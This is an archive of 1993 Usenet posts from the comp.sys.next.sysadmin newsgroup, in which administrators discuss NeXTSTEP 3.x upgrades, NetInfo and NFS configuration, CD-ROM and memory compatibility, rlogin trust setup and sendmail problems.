From: gary@esl.com (Gary Merrick) Newsgroups: comp.sys.next.sysadmin Subject: NeXT won't start loginwindow after 3.0 upgrade Message-ID: <2126@esl.ESL.COM> Date: 17 Jun 93 02:48:50 GMT Sender: news@esl.ESL.COM Organization: ESL Please help... I just upgraded from 2.0 to 3.0, and things aren't working too well. The system hangs just about the time that it should be displaying the login screen. <sigh> The last message I see on the monitor before it hangs is "localhost reboot: Reboot complete". After trying to get it to work for quite a while, I decided the best thing to do is start over from scratch and perform a "fresh" installation this time. I chose to initialize the disk to make sure this would be a "clean" installation. The install seemed to go fine, but I'm having the same problem as before <aargh!> After booting in single-user mode and superficially comparing things to another 3.0 system, it all appears to be OK. I can't understand why it won't come up all the way. I was able to get a login prompt by not using the window server (uncommenting the first line in /etc/ttys and commenting out the second line), but this is no solution to the problem. hardware: Cube, monochrome mon., '040 (non-Turbo) upgrade from '030 -- =============================================================== | Gary Merrick System/Network Admin from Hell | | ESL, Inc. gary@esl.com | | Sunnyvale, CA | | | | "You can twist perceptions, reality won't budge." -N. Peart | ===============================================================
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach) Newsgroups: comp.sys.next.sysadmin Subject: Re: what the heck is tex.pool? Message-ID: <ti6ls.740226259@tuhhco> Date: 16 Jun 93 10:24:19 GMT References: <ti6ls.740163046@tuhhco> Sender: usenet@rztsun.rz.tu-harburg.de ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach) writes: >After having deleted this file by accident, I took it from the 3.0 CD. >But now, running initex, I get the message: > ! tex.pool doesn't match; tangle me again. >What do I have to do? Any help would be appreciated! Thanks to Alois Steindl and Matthew Seaman for helping me to solve the problem. The tex.pool file has to be from the same distribution as the binary files initex, latex, etc. Thanks a lot! Ludger.
From: nico@imani.cam.org (Nicolas Dore) Newsgroups: comp.sys.next.sysadmin Subject: Mac disks not recognized under 3.0 Message-ID: <1993Jun17.033625.872@imani.cam.org> Date: 17 Jun 93 03:36:25 GMT Sender: nico@imani.cam.org Hi I formatted some disks on a mac this afternoon, put stuff on them and stuck them in my floppy drive when I got home. Usually, this would result in the disk appearing as an apple logo'ed disk on the shelf. Today, it just told me that the disk was bad, and did I want to format it or eject (I choose the latter). Now, this is the first time it's happened to me. Also, the panel that comes up under Disk->Initialize... in Workspace does not have the "Macintosh" pop-up list item, along with "NeXT" and "DOS". I tried it with DOS- and NeXT-formatted 1.44 Meg disks by asking for the initialize panel, and it's just not there! Everything else works A-OK, but this is a _big_ deal, so any help will be very appreciated. Ciao -- Nicolas Dore nico@imani.cam.org - - - - - - - - - CAREFUL!!! FRENCHIE ZONE!!! - - - - - - - - - - - - >"Si la classe ouvriere ne nous satisfait plus, nous la destituerons< > et en elirons une autre" B. Brecht (ne parlant pas d'informatique)<
Newsgroups: comp.sys.next.sysadmin From: zenon@resonex.com (Zenon Fortuna) Subject: Re: Nextdimension memory Message-ID: <1993Jun16.100632.7116@resonex.com> Keywords: nextdimension memory limit Organization: Resonex Inc., Fremont CA References: <1993Jun16.154435.23566@serval.net.wsu.edu> Date: Wed, 16 Jun 1993 10:06:32 GMT In article <1993Jun16.154435.23566@serval.net.wsu.edu> hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) writes: >Is there a limit to how much memory can be put into a NeXTDimension board? >We put 32megs in one of ours and we got system panics. With 20 meg it works >fine. > >All 32 meg was tested and found to be good memory. > >-- >Karl Hakimian >hakimian@eecs.wsu.edu ... and related question: is it a way to tell how much of memory a particular NeXTDimention board has ? (without opening the cube) -Z.
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: /etc/fstab vs NETINFO question - help is needed Date: 17 Jun 1993 11:57:29 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1vpm79$jcn@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu How do I use "niutil" from a shell terminal to add this /etc/fstab entry to the NETINFO "mounts" place: math:/n/math/5 /Net/MATH nfs rw,hard,intr 0 0 When it's in the /etc/fstab it doesn't mount at boot or later with "mount -at nfs" either. I just couldn't figure it out myself. Can you help? Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: 3.1 with Apple CD 300 - a WARNING!!! Date: 17 Jun 1993 12:03:41 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1vpmit$jh9@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I hooked up my Apple CD 300 to my black cube and installed 3.1. It was a disaster! It failed so I had to borrow a genuine NeXT CD ROM and then had to reinitialize my harddisk. It took me a whole day. Even though it appears that Apple CD 300 works with the NeXT cube and it may partially do so, in fact, it is not 100% compatible. They even look identical except that the NeXT one doesn't have the green light. Be vary careful! Any comments? BTW when I called the NeXT "tech support" I talked to a totally ignorant woman (trying to advise me) who asked for my MasterCard or VISA number so one of their "engineers" could call my back within 24 hours for $30 per half hour (or maybe $30 for the 1st half hour). It pissed me off and I am mad at them. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: Is there cc in 3.1 ? - I need help!!! Date: 17 Jun 1993 13:10:07 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1vpqff$kkr@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I had to reinitialize my harddisk to install 3.1 and I found no "cc" and related stuff in it. Can I use the one form OS 3.0 or do I need a new version? If I ned a new one, then where can I get it an for how much. Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions From: robertn@penny.demon.co.uk (Robert Nicholson) Subject: Backup strategy with Gnu tar Date: Thu, 17 Jun 1993 12:27:17 +0000 Message-ID: <9306171221.AA00951@penny.demon.co.uk> Sender: usenet@demon.co.uk Does anybody have a backup to DAT strategy that I can use with gnu tar? Please email as I don't have access to news. Cheers.
From: max@mcs-server.gac.edu (Max Hailperin) Newsgroups: comp.sys.hp,comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Re: How to utilize HP4M laser printer with NEXTSTEP Date: 17 Jun 93 08:51:25 Organization: Gustavus Adolphus College, St. Peter, MN Message-ID: <MAX.93Jun17085125@mcs-server.gac.edu> References: <1993Jun16.181427.23812@cs.yale.edu> In-reply-to: nathan@laplace.csb.yale.edu's message of Wed, 16 Jun 1993 18:14:27 GMT In article <1993Jun16.181427.23812@cs.yale.edu> nathan@laplace.csb.yale.edu (Nathan F. Janette) writes: We're considering the purchase of the top-of-the-line HP4M-whatever laser printer (10 MB RAM, ethernet interface, MIRVs, self-aware, etc) for use as a workgroup printer for several NeXT machines. ... Here's the potential problem: the ethernet interface apparently does not support the "correct" BSD lpr network addressing, and uses some hack in which it appears to be a tty or something like that. There is some software which runs on HPUX systems that handles the addressing properly. ... Will this software compile and run on NEXTSTEP ... Another approach is to replace HP's ethernet interface with the NetJet from Emulex. We've got one of these in our HP 4M. It speaks honest to goodnest lpr/lpd protocol, and works fine with our NeXTs. Another plus is that it is reasonably priced and can support Netware, Appletalk, and LAT as well all on one board -- though we haven't gotten any of those to work yet at this point (through no fault of Emulex's, probably).
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: 3.1 with Apple CD 300 - a WARNING!!! In-Reply-To: nevai@math.ohio-state.edu's message of 17 Jun 1993 12:03:41 GMT To: nevai@math.ohio-state.edu (Paul Nevai) Message-ID: <CEDMAN.93Jun17094840@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1vpmit$jh9@mathserv.mps.ohio-state.edu> Date: Thu, 17 Jun 1993 13:48:40 GMT In article <1vpmit$jh9@mathserv.mps.ohio-state.edu> nevai@math.ohio-state.edu (Paul Nevai) writes: I hooked up my Apple CD 300 to my black cube and installed 3.1. It was a disaster! It failed so I had to borrow a genuine NeXT CD ROM and then had to reinitialize my harddisk. It took me a whole day. Even though it appears that Apple CD 300 works with the NeXT cube and it may partially do so, in fact, it is not 100% compatible. They even look identical except that the NeXT one doesn't have the green light. Be vary careful! Any comments? You say that you did a successful re-install from a NeXT CD ROM after an unsuccessful upgrade with the Apple CD ROM, but how do you know that the reason was the hardware and not just a generic upgrade problem ? The upgrade does not do anything special with the CD ROM beyond what would occur in normal usage, so I doubt that it was a hardware imcompatibility -- there are some many other possible culprits in a failed upgrade. For what it is worth (and lest Garance starts blaming the double speed CD ROMs from hell again :-) ), I did a problem free and fast upgrade to 3.1 from 3.0 with a Toshiba 3401. Carl Edman
Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels) Subject: Re: Using xmodmap with Xmouse Message-ID: <H2IEBO1H@gwdu03.gwdg.de> Keywords: Xmouse, X, X11R5, xmodmap, german, keyboard Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen References: <82GEBWDO@gwdu03.gwdg.de> Date: Thu, 17 Jun 1993 14:40:10 GMT I wrote: > I do have a problem using Xmouse on a mono nonturbo slab > that has a german keyboard [...] > So I want Xmouse to map Alt-1 on ~ for example. thanks to all, that replied. Xmouse uses any key that is mapped on Mode_switch which occurs in any modifier key list as the "most common modifier". So the *only* thing to do to enable Alt keys is to remap Alt_L to Mode_switch. for example on non-ADB keyboards keycode 91 = Mode_switch keysym semicolon = semicolon colon odiaeresis will work o.k. in .xmodmaprc i.e. xmodmap key definitions with more than two values will work. Then Alt-; will yield . It's not necessary to change any modifiers i.e. remove Mod2 = Alt_L keycode 91 = Mode_switch add Mod3 = Mode_switch as the modifier Mod? used is ignored anyway. ciao Stephan p.s. I do not know whether this is standard X11R5 behaviour, but it works! +--------------------------------------------------------------+ / Stephan Trebels voice: +49 551 44690 /| +--------------------------------------------------------------+ | | <trebels@theo-phys.gwdg.de> "No NeXTmail yet, it's a HP" | + | <trebels@desdemona.theo-phys.gwdg.de> "NeXTmail welcome" |/ +--------------------------------------------------------------+
From: npratt@gecko.modsys (Nevin Pratt) Newsgroups: comp.sys.next.sysadmin Subject: Re: Nextdimension memory Date: 17 Jun 1993 17:08:20 GMT Organization: Sun Microsystems, Inc. Distribution: world Message-ID: <1vq8e4$pkd@cnn.sim.es.com> References: <1993Jun16.154435.23566@serval.net.wsu.edu> In article 23566@serval.net.wsu.edu, hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) writes: > Is there a limit to how much memory can be put into a NeXTDimension board? > We put 32megs in one of ours and we got system panics. With 20 meg it works > fine. If you ask a NeXT marketroid, they will look at their sales literature and say, "32 MB" is the limit. If you ask a NeXT hardware engineer (are there any left?) they will say "64 MB" is the limit, using double-sided SIMM's, and then launch into a diatribe about how marketing messed that one up when they printed "32 MB" on the sales literature. I've read posts over the years of people who have successfully ran an ND with 64 MB. My take is that 64 MB is the limit, but NeXT had no intentions of offering an ND board with 64 MB pre-installed. In any case, the 32 MB should have worked. Something's therefore not right with your setup (either flakey memory, or a flakey ND board). > All 32 meg was tested and found to be good memory. Yea, and all air is breathable too :-) What I mean by this is, just because one person can breath the air in a given room without coughing doesn't mean another person won't cough when that same room air hits his lungs. I'm sure you see the analogy. :-) Nevin
Newsgroups: comp.sys.next.sysadmin From: lacsap@plethora.media.mit.edu (Pascal Chesnais) Subject: Re: 3.1 with Apple CD 300 - a WARNING!!! Message-ID: <1993Jun17.180743.3469@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <CEDMAN.93Jun17094840@capitalist.princeton.edu> Date: Thu, 17 Jun 1993 18:07:43 GMT > In article <1vpmit$jh9@mathserv.mps.ohio-state.edu> nevai@math.ohio-state.edu (Paul Nevai) writes: > I hooked up my Apple CD 300 to my black cube and installed 3.1. It was a > disaster! It failed so I had to borrow a genuine NeXT CD ROM and then had to > reinitialize my harddisk. It took me a whole day. > > Even though it appears that Apple CD 300 works with the NeXT cube > and it may partially do so, in fact, it is not 100% > compatible. They even look identical except that the NeXT one > doesn't have the green light. Be vary careful! Any comments? > I used the Apple 300 on three different cubes without any problems due to the CDrom itself. What we have had trouble with in the past are the HP 1 gig drives... pasc
Newsgroups: comp.sys.next.sysadmin From: tacchi@ccu.umanitoba.ca (Mark G. Tacchi) Subject: Re: 3.1 with Apple CD 300 - a WARNING!!! Message-ID: <C8s4o1.4uA@ccu.umanitoba.ca> Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada References: <1vpmit$jh9@mathserv.mps.ohio-state.edu> Date: Thu, 17 Jun 1993 18:57:36 GMT In <1vpmit$jh9@mathserv.mps.ohio-state.edu> nevai@math.ohio-state.edu (Paul Nevai) writes: >BTW when I called the NeXT "tech support" I talked to a totally ignorant >woman (trying to advise me) who asked for my MasterCard or VISA number so one >of their "engineers" could call my back within 24 hours for $30 per half hour >(or maybe $30 for the 1st half hour). It pissed me off and I am mad at them. I don't understand why you would be mad. NeXT has charged for support for some time now, wasn't it clear? The people on the front line are an interface to the techies and should be commended for their helpfulness, they do their best. But they are not responsible for answering your questions and certainly not for free. BTW, NeXT keeps only the best in the back line. So the rates that they charge are as expected. Maybe the pricing wasn't entirely clear, so here is how I understand it. $30 for each 15 minute block, rounded up. This is only for system support and not developer. There are also contracts that you can buy (edu pricing applies :-)) just contact the people at NeXT for more info. If you think these rates are too high, maybe call Sun and ask about their prices! That should put things into perspective. My $0.02CDN -Mark -- Mark G. Tacchi tacchi@ccu.umanitoba.ca "Medicine will cure death and government will repeal taxes before Steve will fail." -G.Kawasaki
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: robertn@penny.demon.co.uk (Robert Nicholson) Subject: SNS Bug in NS/FIP Date: Thu, 17 Jun 1993 15:52:13 +0000 Message-ID: <9306171543.AA03733@penny.demon.co.uk> Sender: usenet@demon.co.uk There appears to be a bug in SNS in NS/FIP. Does anybody know what SNS does _exactly_ when it configures a machine as a server? My feeling is, that rather than manually have to set up a machine using NetInfoMgr the easiest thing to do it write a script using niutil's. Any clues?
From: "Jeremy G. Mereness" <zonker+@CMU.EDU> Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin Subject: Losing Contact w LANetwork?? Date: Thu, 17 Jun 1993 17:40:24 -0400 Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA Message-ID: <kg8CH8u00WB0AkSEUO@andrew.cmu.edu> [sorry for the cross-post] I have a NeXTStation Color that has recently developed problems with talking on a thin-net based LAN. While it can ping and telnet to other hosts, it loses contact with NFS servers when it tries to fetch anything of any size bigger than the contents of a directory (like launching an application). While an app tries to launch, the console will report "server not responding... still trying" over and over while it establishes and loses contact repeatedly. FTP'ing something from a host to the machine also hangs up after one or two items cross the wire. Again, all the while, I can ping and even telnet to other hosts on my LAN... but, ping doesn't always report 0% packet loss, and if I 'cat' a large file in a telnet session, it will freeze up after a screenful or so of data. I have rebuilt the disk from scratch, but the behavior hasn't changed, and I have played with different cables, all to no effect. I am suspecting a hardware problem. What should I do? How can I verify my findings? Do I have to call BellAtlantic to get service? I just hope I am not looking at a new motherboard. Thanks in Advance! Jeremy Mereness zonker+@cmu.edu ------------------------------------------------------------------------- Programmer/Analyst Please No NeXT Mail.. Yet FAST Laboratory +++++ Graduate School of Industrial Administration - Carnegie Mellon University
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.1 with Apple CD 300 - a WARNING!!! Date: 17 Jun 1993 22:09:15 GMT Organization: Rensselaer Polytechnic Institute, Troy NY, USA Distribution: world Message-ID: <1vqq2b$30o@usenet.rpi.edu> References: <CEDMAN.93Jun17094840@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: > nevai@math.ohio-state.edu (Paul Nevai) writes: > I hooked up my Apple CD 300 to my black cube and installed 3.1. It > was a disaster! It failed so I had to borrow a genuine NeXT CD ROM > and then had to reinitialize my harddisk. It took me a whole day. > > Even though it appears that Apple CD 300 works with the NeXT > cube and it may partially do so, in fact, it is not 100% > compatible. They even look identical except that the NeXT one > doesn't have the green light. Be vary careful! Any comments? > > You say that you did a successful re-install from a NeXT CD ROM after > an unsuccessful upgrade with the Apple CD ROM, but how do you know > that the reason was the hardware and not just a generic upgrade > problem ? The upgrade does not do anything special with the CD ROM > beyond what would occur in normal usage, so I doubt that it was a > hardware imcompatibility -- there are some many other possible > culprits in a failed upgrade. > > For what it is worth (and lest Garance starts blaming the double speed > CD ROMs from hell again :-) ), I did a problem free and fast upgrade > to 3.1 from 3.0 with a Toshiba 3401. Who? What? Someone mention my name? (and got the spelling right, no less!) It'd be nice to pin down the problem with double-speed drives. Certainly I've had pretty clear evidence of problems caused by double-speed drives themselves on my NeXTstations (one is an original greyscale NeXTstation, one is *supposed* to be a color turbo but seems to really be a color non-turbo). And just as certainly, other people haven't had problems with double-speed drives. Not sure what to make of it. I have to do a 3.0 install on a new external hard disk sometime soon, maybe I'll try using my Apple CD300 on that and see what happens. Not sure what it will prove if it works, or if it doesn't work for that matter... (on the other hand, if it *does* work then I'll have saved myself a pretty good chunk of time!). -- Garance Alistair Drosehn = gad@eclipse.its.rpi.edu ITS Systems Programmer (handles NeXT-type mail) Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin From: jblue@ocotillo.mitre.org (Jason D. Blue) Subject: DAT DRIVE - Intel/NeXT - Recommendation/prices Message-ID: <1993Jun17.140620.25634@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation Date: Thu, 17 Jun 1993 14:06:20 GMT If you can provide an answer TODAY to the following I would GREATLY appreciate it: I am interested in getting a DAT drive for backups for out network of NeXTSTEP machines. Looking for recommendations/prices for one that will work on both NEXTSTEP plantforms. Thanks. Jason -- Jason D. Blue NeXT Network and Systems Administrator The MITRE Corporation, McLean, VA jblue@mitre.org (NeXT Mail Encouraged!) TIP#081
Newsgroups: comp.sys.next.sysadmin From: root@azetsys.uucp (Operator) Subject: 3.1 user upgrade Message-ID: <1993Jun17.225031.212@azetsys.uucp> Organization: CleverLever Date: Thu, 17 Jun 1993 22:50:31 GMT Hi, Got my 3.1 user upgrade, (the dev. portion will follow a week or so later), out of curiosity upgraded one of my hard disk, here is the insights I've gained: With 32 mb memory the number of buffers has been changed from 16, to 204. The login panel has been redesigned it has a new look. The installation took 40 minutes, it removed all the developer stuff, it also removed emacs, it offers options to retain your current system files, (uucp, etc...), tried uucp after the upgrade it worked like before, could not try cnews, because my default editor (emacs) was bye bye, there is an additional cd-rom in the package called "ThirdParty" it contains demo versions of programs from several Software houses. The 3.1 cd-rom has a demo version of Soft-PC, installed it on my mono turbo, it seems to work even in black&white. Overall the installation is easy, no problems to note. Geza.. azetsys!root@uunet.uu.net (Geza Fekete)
From: Conrad_Geiger@NeXT.COM (Conrad Geiger) Newsgroups: comp.sys.next.sysadmin Subject: 32 NEXTSTEP Positions Available (Hawaii, Texas, NE, Calif, Midwest) Date: 17 Jun 1993 18:28:37 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9306172328.AA10333@toto.NeXT.COM> For more information, contact: Clint Tomlinson - Manager, NeXT/OOP Recruiting Pencom 9050 Capital of Texas Highway North Austin, Texas 78759 Telephone: 512-343-1111 Fax: 512-346-6444 E-Mail: clint@pencom.com Pencom seeks 32 NeXT/OOP Engineers for internal and external projects for our distinguished list of clients. AUSTIN, TEXAS - June 11, 1993 - Pencom Software's team of NeXT engineers are dedicated to providing services to developers and end user organizations equipped with workstations and software from NeXT Incorporated. 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From: sowa@amdew.llnl.gov (Erik C. Sowa) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.1 user upgrade Date: 17 Jun 1993 23:48:19 GMT Organization: LLNL Chemistry and Materials Science Message-ID: <SOWA.93Jun17164819@amdew.llnl.gov> References: <1993Jun17.225031.212@azetsys.uucp> In-reply-to: root@azetsys.uucp's message of Thu, 17 Jun 1993 22:50:31 GMT >>>>> "Geza" == Operator <root@azetsys.uucp> writes: Geza> The installation took 40 minutes, it removed all the Geza> developer stuff, it also removed emacs, Oh, my. Removed emacs, did it? SINFUL! CRIMINAL! Now I definitely know not to apply the User upgrade until the Developer upgrade arrives. Not that I want to sound like a broken record, but Users Use Emacs! I think NeXT should make an emacs installation package available from the archives for Motorola or Intel or any other Users that are not Developers but still Use Emacs daily. Especially since mere Users may no longer Compile the Holy Sources. -- erik sowa (sowa@amdew.llnl.gov)
From: tpugh@oce.orst.edu (Tim Pugh) Newsgroups: comp.sys.next.sysadmin Subject: Re: /etc/fstab vs NETINFO question - help is needed Message-ID: <1vr0en$e2o@gaia.ucs.orst.edu> Date: 17 Jun 93 23:58:15 GMT Article-I.D.: gaia.1vr0en$e2o References: <1vpm79$jcn@mathserv.mps.ohio-state.edu> Organization: University Computing Services - Oregon State University In article <1vpm79$jcn@mathserv.mps.ohio-state.edu> nevai@math.ohio-state.edu (Paul Nevai) writes: > How do I use "niutil" from a shell terminal to add this /etc/fstab entry to > the NETINFO "mounts" place: > > math:/n/math/5 /Net/MATH nfs rw,hard,intr 0 0 > > When it's in the /etc/fstab it doesn't mount at boot or later with "mount -at > nfs" either. > > I just couldn't figure it out myself. Can you help? > > Please respond by email. Thanks. Take care...Paul > > Paul Nevai nevai@math.ohio-state.edu > Dept Math - Ohio State University 1-614-292-3317 (Office) > Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax) At a command line in the Terminal window logged in as root, you can load your /etc/fstab entry into netinfo using the "niload" command. Or using NFSManager.app application in /NextAdmin, you can add the NFS mount info to the netinfo database. To load /etc/fstab entries into netinfo from the command line, type: mymachine> niload fstab / < /etc/fstab This says to read NFS mounts from /etc/fstab and place them into netinfo's mount database for the root domain, "/", where it will be available for all NeXT machines using this network's NetInfo database. - Tim - -- Tim Pugh College of Oceanic and Atmospheric Sciences Oregon State University tpugh@oce.orst.edu NeXTmail ok!
Newsgroups: comp.sys.next.sysadmin From: tlm@iastate.edu (Tom Marchioro) Subject: Re: 3.1 user upgrade Message-ID: <tlm.740362577@scl1.al.iastate.edu> Sender: news@news.iastate.edu (USENET News System) Organization: Iowa State University, Ames IA References: <1993Jun17.225031.212@azetsys.uucp> <SOWA.93Jun17164819@amdew.llnl.gov> Date: Fri, 18 Jun 1993 00:16:17 GMT In <SOWA.93Jun17164819@amdew.llnl.gov> sowa@amdew.llnl.gov (Erik C. Sowa) writes: >Not that I want to sound like a broken record, but Users Use Emacs! I >think NeXT should make an emacs installation package available from the >archives for Motorola or Intel or any other Users that are not >Developers but still Use Emacs daily. Especially since mere Users may no >longer Compile the Holy Sources. Did you say "broken record?" Can we all say "broken record?" :) Having had the opportunity to meet Erik and see the hows and wheres of his life I have only one question, "What text Editor does Jerry Garcia use?" No, wait, I have another! "Do you have Deadbase fed into Digital Librarian yet?" (For those of you who are not into the arcana of deadheads, Deadbase is a book containing about 50 bits of information on EVERY song the Dead have ever played live. The human genome project is trivial by comparison :) Holy Sources????
Newsgroups: comp.sys.next.sysadmin From: pat%cesar@cam.org (Patrique Lalonde) Subject: Mail images Message-ID: <1993Jun17.205555.1486@cesar.uucp> Sender: pat@cesar.uucp Date: Thu, 17 Jun 1993 20:55:55 GMT Bonjour, I know this question has been asked before but how do I have to install a user.tiff file in /LocalLibrary/Images/People so that Mail.app can display the picture of the sender. I know that for local users you just have to put username.tiff with the correct permissions. But how does it work for mail coming from outside my domain. I am a UUCP site dialing-out to my news/mail feed. Please send replys directly to my account. Merci beaucoup! Patrique Lalonde =====-----NeXT Mail-----======= Patrique Lalonde pat%cesar@cam.org *******************************
From: ruck@alpha.ee.ufl.edu (John R. Ruckstuhl Jr.) Newsgroups: comp.sys.next.sysadmin Subject: rlogin authentication Date: 18 Jun 1993 00:53:03 GMT Organization: EE Dept at UF Message-ID: <1vr3lf$71m@bigguy.eng.ufl.edu> I'm trying to get root@A trusted by root@B so that rlogin by root from A to B won't be prompted for password. For root to even be allowed on, /etc/ttys needs to say that the pseudo tty is "secure" -- I've got that... Now I've constructed an /.rhosts which allows "rsh B command" to execute, but, "rsh B" (or equivalently "rlogin B") still prompts for a password. The authentication for "rlogin B" is different from the authentication for "rsh B command"? This problem is unique to root. /etc/hosts.equiv is empty. B:/.rhosts is owned by root. A and B run v3.0. Any information will be greatly appreciated! Thank you, ruck -- John R. Ruckstuhl, Jr. ruck@alpha.ee.ufl.edu Dept. of Electrical Engineering ruck@cis.ufl.edu University of Florida
From: nevai@math.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: OS 3.1 "nidump printcap ." problem - seeking advice Date: 18 Jun 1993 01:20:41 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1vr599$759@mathserv.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I get this with OS 3.1: % nidump printcap . Printer Local_Printer can't be represented in printcap format. Did you experience the same? Any advice/suggestion? Please respond by email. Thanks. Take care...Paul Paul Nevai nevai@math.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Re: SNS Bug in NS/FIP Message-ID: <C8sqv5.L7E@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services References: <9306171543.AA03733@penny.demon.co.uk> Date: Fri, 18 Jun 1993 02:57:05 GMT In article <9306171543.AA03733@penny.demon.co.uk> robertn@penny.demon.co.uk (Robert Nicholson) writes: >There appears to be a bug in SNS in NS/FIP. > >Does anybody know what SNS does _exactly_ when it configures a machine as a >server? > >My feeling is, that rather than manually have to set up a machine using >NetInfoMgr the easiest thing to do it write a script using niutil's. SNS *is* a bug. About the only time I've ever seen it work (somewhat) is setting up a NetInfo Server. It does that right (sometimes) and then proceeds to make a bunch of other stupid assumptions. If you fire it up again, it will mess everything up. You can use nidomain and niutil to do what you need. Avoid SNS.crapp. -rob --- Rob Francis Unix Systems Specialist, Indiana University francisr@indiana.edu (812)855-0327
From: eshuck@slate.mines.colorado.edu (SHUCK EDWARD LEE ) Newsgroups: comp.sys.next.sysadmin Subject: Re: 3.1 user upgrade Message-ID: <1993Jun18.025125.5925@slate.mines.colorado.edu> Date: 18 Jun 93 02:51:25 GMT References: <SOWA.93Jun17164819@amdew.llnl.gov> Organization: Colorado School of Mines Can't you just move emacs to your local bin or Apps directory? Does the new installation search there too? Seems there must be some simple way to save it. Ted Shuck eshuck@mines.colorado.edu
Newsgroups: comp.sys.next.sysadmin From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: 3.1 user upgrade Message-ID: <1993Jun18.053437.22353@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <SOWA.93Jun17164819@amdew.llnl.gov> <1993Jun18.025125.5925@slate.mines.colorado.edu> Date: Fri, 18 Jun 1993 05:34:37 GMT 3.1 includes a newer version of emacs. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: magnus@fisher.Stanford.EDU (Magnus Nordborg) Subject: Re: 3.1 user upgrade Message-ID: <1993Jun18.055824.20770@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1993Jun18.025125.5925@slate.mines.colorado.edu> Date: Fri, 18 Jun 93 05:58:24 GMT In article <1993Jun18.025125.5925@slate.mines.colorado.edu> eshuck@slate.mines.colorado.edu (SHUCK EDWARD LEE ) writes: > Can't you just move emacs to your local bin or Apps directory? > Does the new installation search there too? > Seems there must be some simple way to save it. > Ted Shuck eshuck@mines.colorado.edu There is. According to the manual, Upgrade.app lets you customize the installation and specify what old stuff not to remove. I think Mr. Sowa was more expressing religious indignation at the blasphemous thought of removing the One True Editor than direct concern over losing -m-cs. -- Magnus Nordborg magnus@fisher.stanford.edu (NeXT mail preferred) Department of Biological Sciences Stanford University Stanford, CA 94305-5020 +1 (415) 723-4952 (office)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: jmeacham@ants.edu (James D. Meacham 3rd) Subject: Help--Mail/sendmail being weird Message-ID: <1993Jun18.053413.500@ants.edu> Sender: jmeacham@ants.edu Organization: Andover Newton Theological School Date: Fri, 18 Jun 1993 05:34:13 GMT After working a long time to get both mail and news working correctly, for some unknown reason mail stqrting being weird. The problem is that after setting up sendmail.cf for uucp (and it worked for some time in this mode) it is now being picky as to what it will send to uucp. For example, foobar@world.std.com will get through, but foobar@parrot.creighton.edu will com back with a message that states: ----- Transcript of session follows ----- 421 Host parrot.creighton not found for mailer ether. 550 Joe Foobar <foobar@parrot.creighton.edu>... Host unknown It seems to choke on only *.edu addresses, which might be in some way related to the fact that I changed my domain name to ants.edu so that my incoming mail would work. Any suggestions on how to get around this? Thanks, James --- +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ James David Meacham, 3rd Andover Newton Theological School e-mail:jmeacham@ants.edu Newton Centre, MA 